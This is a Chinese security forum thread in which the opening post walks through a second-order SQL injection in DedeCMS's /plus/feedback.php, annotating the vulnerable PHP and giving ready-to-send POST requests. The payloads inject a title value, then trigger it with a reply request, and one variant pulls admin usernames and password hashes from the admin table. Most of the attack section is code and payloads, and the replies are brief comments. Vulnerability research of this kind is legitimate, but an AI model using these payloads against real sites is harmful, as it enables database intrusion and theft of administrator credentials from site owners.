查看: 25858|回复: 13

【T00ls】DEDECMS 通杀鸡肋注入一枚

[复制链接]
  • TA的每日心情

    2020-10-2 23:00
  • 签到天数: 10 天

    [LV.3]偶尔看看II

    发表于 2013-3-8 10:29:43 | 显示全部楼层 |阅读模式
    转T00ls的。

    漏洞文件:/plus/feedback.php

    1. if($comtype == 'comments') //问题从这里开始
    2. {
    3. $arctitle = addslashes($title);//$title 是关键 没有初始化 addslashes转义了我们的$title 比如我们传入1' $arctitle=1\'
    4. $typeid = intval($typeid); //这些都是打酱油的
    5. $ischeck = intval($ischeck);//这些都是打酱油的
    6. $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
    7. if($msg!='') //$msg 如果不为空 继续往下走
    8. { $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; //$arctitle 被带入到 $inquery 这个sql 语句中 我们来看看效果
    复制代码

    1

    1

    2

    2

    继续看代码往下走
    1. $rs = $dsql->ExecuteNoneQuery($inquery); //ExecuteNoneQuery发送sql 语句
    2. //思考 既然$inquery insert 到数据库后$arctitle 的值没有被转义 我们应该想办法利用啊 继续往下看
    3. if(!$rs) //这些都是打酱油的
    4. {
    5. ShowMsg(' 发表评论错误! ', '-1');
    6. exit();
    7. }
    8. }
    9. }
    10. //引用回复
    11. elseif ($comtype == 'reply') //第二个关键
    12. {
    13. $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");//看这sql 语句
    14. //SELECT * FROM `#@__feedback` WHERE id ='$fid' 查询的不就是我们刚刚insert的表么 $fid是get传过来的
    复制代码

    3

    3

    往下看
    1. $arctitle = $row['arctitle']; //看到这里你激动了么 直接取数据库里面arctitle 字段的值给$arctitle 看看$arctitle 被带入到哪里了
    2. $aid =$row['aid'];//这些都是打酱油的
    3. $msg = $quotemsg.$msg;//这些都是打酱油的
    4. $msg = HtmlReplace($msg, 2);//这些都是打酱油的
    5. $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
    6. VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
    7. //$arctitle 被带入到 $inquery 这里 我们构建下语句 echo $inquery 看看
    复制代码

    4

    4
    1. $dsql->ExecuteNoneQuery($inquery);//这里用ExecuteNoneQuery发送sql 语句 我们看看这个函数吧
    2. /*
    3. * //执行一个不返回结果的SQL语句,如update,delete,insert等
    4. function ExecuteNoneQuery($sql=''){...}
    5. * 不返回结果的 没办发报错 我们只能构建其他的exp了
    6. * 想法1:
    7. * 我们在第一次insert的时候构建$arctitle=1,@`'`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,'1
    8. * http://localhost/dede/uploads/plus/feedback.php
    9. * post
    10. * action=send&comtype=comments&aid=16&isconfirm=yes&feedbacktype=feedback&face=1&msg=33333&notuser=1&validate=gram&typeid=12&title=1,@`'`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,'1
    11. *
    12. * 然后 在取出的时候 第2条sql 语句应该就变成了:
    13. * INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('16','0','游客 ','1,@`'`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,'1','127.0.0.1','1','1362649019','0','0','0','feedback','0','')
    复制代码
    20130308102047.jpg
    20130308102112.jpg
    1. /* 本次审计到这里结束了 最后给出的exp是 只能select user() 大牛们可以开拓思维想想 有没别的招
    2. * 第一次post的语句
    3. * http://localhost/dede/uploads/plus/feedback.php
    4. * post
    5. * action=send&comtype=comments&aid=13&isconfirm=yes&feedbacktype=feedback&face=1&msg=22222&notuser=1&validate=gram&typeid=12&title=',@`'`,1,1,1,1,1,1,1,(SELECT user())),(1,
    6. * 第2次post的语句 //aid 要和上面的一样 fid 前面有说
    7. * http://localhost/dede/uploads/plus/feedback.php
    8. * action=send&comtype=reply&aid=13&isconfirm=yes&feedbacktype=feedback&validate=upse&fid=9
    9. */
    复制代码
    20130308102153.jpg
    回复

    使用道具 举报

  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2013-3-8 10:31:44 | 显示全部楼层
    确实鸡肋了点。
    这个地方以前好像就出过注入
    回复 支持 反对

    使用道具 举报

    huc.雨 该用户已被删除
    发表于 2013-3-8 10:37:48 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-10-2 23:00
  • 签到天数: 10 天

    [LV.3]偶尔看看II

     楼主| 发表于 2013-3-8 10:38:12 | 显示全部楼层
    huc.雨 发表于 2013-3-8 10:37
    看不懂。

    慢慢来~
    回复 支持 反对

    使用道具 举报

    huc.雨 该用户已被删除
    发表于 2013-3-8 10:39:29 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-10-2 23:00
  • 签到天数: 10 天

    [LV.3]偶尔看看II

     楼主| 发表于 2013-3-8 10:40:30 | 显示全部楼层
    huc.雨 发表于 2013-3-8 10:39
    要看得懂这些。要学什么语言?

    我擦,肯定是php了,另外mysql也要知道点
    回复 支持 反对

    使用道具 举报

    huc.雨 该用户已被删除
    发表于 2013-3-8 10:48:27 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2013-3-8 11:07:06 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-12-4 20:42
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    发表于 2013-3-8 11:12:54 | 显示全部楼层
      以前好像看过~~~~~~ 继续学习~~~~~~~~   
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-3-8 15:30:23 | 显示全部楼层
    学习学习
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-22 13:30 , Processed in 0.030840 second(s), 23 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部